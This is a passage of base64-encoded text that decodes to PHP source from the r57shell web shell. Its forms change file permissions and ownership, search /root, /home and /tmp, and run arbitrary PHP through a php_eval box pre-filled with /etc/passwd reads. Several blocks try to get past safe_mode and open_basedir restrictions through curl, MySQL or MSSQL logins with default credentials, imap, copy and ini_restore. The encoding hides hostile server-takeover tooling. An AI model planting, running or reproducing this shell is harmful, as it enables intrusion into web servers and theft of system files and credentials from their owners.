jxvcHRpb24gdmFsdWU9IjM0Ij4zNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzNSI+MzU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzYiPjM2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM3Ij4zNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzOCI+Mzg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzkiPjM5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQwIj40MDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0MSI+NDE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDIiPjQyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQzIj40Mzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NCI+NDQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDUiPjQ1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ2Ij40Njwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NyI+NDc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDgiPjQ4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ5Ij40OTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MCI+NTA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTEiPjUxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUyIj41Mjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MyI+NTM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTQiPjU0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU1Ij41NTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NiI+NTY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTciPjU3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU4Ij41ODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1OSI+NTk8L29wdGlvbj4KPC9zZWxlY3Q+Jwoud3MoNCkuIjxiPlNlY29uZCIuJGFycm93LiI8L2I+IgouJwo8c2VsZWN0IG5hbWU9InNlY29uZCIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjAxIj4xPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAyIj4yPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjAzIj4zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA0Ij40PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA1Ij41PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA2Ij42PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA3Ij43PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA4Ij44PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA5Ij45PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCI+MTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMyI+MjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI1Ij4yNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNiI+MjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjciPjI3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI4Ij4yODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyOSI+Mjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzAiPjMwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMxIj4zMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMiI+MzI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzMiPjMzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM0Ij4zNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzNSI+MzU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzYiPjM2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM3Ij4zNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzOCI+Mzg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzkiPjM5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQwIj40MDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0MSI+NDE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDIiPjQyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQzIj40Mzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NCI+NDQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDUiPjQ1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ2Ij40Njwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NyI+NDc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDgiPjQ4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ5Ij40OTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MCI+NTA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTEiPjUxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUyIj41Mjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MyI+NTM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTQiPjU0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU1Ij41NTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NiI+NTY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTciPjU3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU4Ij41ODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1OSI+NTk8L29wdGlvbj4KPC9zZWxlY3Q+JwouaW4oJ2hpZGRlbicsJ2NtZCcsMCwndG91Y2gnKQouaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKQoud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKJHNlbGVjdD0nJzsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2htb2QnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1tb2Q+Q0hNT0Q8L29wdGlvbj4iO30KaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hvd24nKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj4iO30KaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hncnAnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1ncnA+Q0hHUlA8L29wdGlvbj4iO30KaWYoJHVuaXggJiYgJHNlbGVjdCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NyddLCdpZDYnKS4kdGFibGVfdXAyLmRpdignaWQ2JykuJHRzOwplY2hvIEBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncGFyYW0xJyw1NSwoKCRfUE9TVFsncGFyYW0xJ10pPygkX1BPU1RbJ3BhcmFtMSddKTooJGRpci4iL3I1N3NoZWxsLnBocCIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY4J10uJGFycm93LiI8L2I+Ii4iPHNlbGVjdCBuYW1lPXdoYXQ+Ii4kc2VsZWN0LiI8L3NlbGVjdD4iLndzKDQpLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MSddLiciJywxMCwoKCRfUE9TVFsncGFyYW0yJ10pPygkX1BPU1RbJ3BhcmFtMiddKTooIjA3NzciKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NoXycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoISRzYWZlX21vZGUpewokYWxpYXNlczIgPSAnJzsKZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpCiB7CiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOwogfQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU0J10sJ2lkOCcpLiR0YWJsZV91cDIuZGl2KCdpZDgnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTUnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ20gaWQ9bScsMCwnMScpLmluKCd0ZXh0Jywnc19tYXNrJyw4MiwnLnR4dDsucGhwJykuIiogKCAudHh0Oy5waHA7Lmh0bSApIi5pbignaGlkZGVuJywnY21kJywwLCdzZWFyY2hfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CgppZighJHNhZmVfbW9kZSAmJiAkdW5peCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NiddLCdpZDknKS4kdGFibGVfdXAyLmRpdignaWQ5JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX3RleHQnLDg1LCd0ZXh0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTInXSkpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRpcikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMiddLCdpZDEwJykuJHRhYmxlX3VwMi4kZm9udDsKZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+Ii5kaXYoJ2lkMTAnKS4iPHRleHRhcmVhIG5hbWU9cGhwX2V2YWwgY29scz0xMDAgcm93cz0xMD4iOwplY2hvICghZW1wdHkoJF9QT1NUWydwaHBfZXZhbCddKT8oJF9QT1NUWydwaHBfZXZhbCddKTooIi8vdW5saW5rKFwicjU3c2hlbGwucGhwXCIpO1xyXG4vL3JlYWRmaWxlKFwiL2V0Yy9wYXNzd2RcIik7XHJcbi8vZmlsZV9nZXRfY29udGVudChcIi9ldGMvcGFzc3dkXCIpOyIpKTsKZWNobyAiPC90ZXh0YXJlYT4iOwplY2hvIGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwncGhwX2V2YWwnKTsKZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsKZWNobyAiPC9kaXY+PC9kaXY+PC9mb250PiI7CmVjaG8gJHRhYmxlX2VuZDEuJGZlOwoKaWYoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNCddLCdpZDExJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTEnKS4kdHM7CmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgJGN1cmxfb24gJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMyddLCdpZDEyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NUWyd0ZXN0MV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmICRteXNxbF9vbikKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzUnXSwnaWQxMycpLiR0YWJsZV91cDIuZGl2KCdpZDEzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0M19tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21kJ10pPygkX1BPU1RbJ3Rlc3QzX21kJ10pOigibXlzcWwiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21sJ10pPygkX1BPU1RbJ3Rlc3QzX21sJ10pOigicm9vdCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbXAnXSk/KCRfUE9TVFsndGVzdDNfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19wb3J0J10pPygkX1BPU1RbJ3Rlc3QzX3BvcnQnXSk6KCIzMzA2IikpKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19maWxlJ10pPygkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmICRtc3NxbF9vbikKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdpZDE0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21kJ10pPygkX1BPU1RbJ3Rlc3Q0X21kJ10pOigibWFzdGVyIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tbCddKT8oJF9QT1NUWyd0ZXN0NF9tbCddKTooInNhIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tcCddKT8oJF9QT1NUWyd0ZXN0NF9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk/KCRfUE9TVFsndGVzdDRfcG9ydCddKTooIjE0MzMiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgJHVuaXggJiYgQGZ1bmN0aW9uX2V4aXN0cygnbWJfc2VuZF9tYWlsJykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMiddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q1X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfbGlzdCcpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTMnXSwnaWQyMCcpLiR0YWJsZV91cDIuZGl2KCdpZDIwJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q2X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0Nl9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KCmlmKCgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ltYXBfYm9keScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0N19maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0N19maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDcnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdjb3B5JykgJiYgQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTUnXSwnaWQyMicpLiR0YWJsZV91cDIuZGl2KCdpZDIyJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMiddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMiddKTooJGRpcikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdpbmlfcmVzdG9yZScpICYmIEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjAnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDlfZmlsZSddKT8oJF9QT1NUWyd0ZXN0OV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdo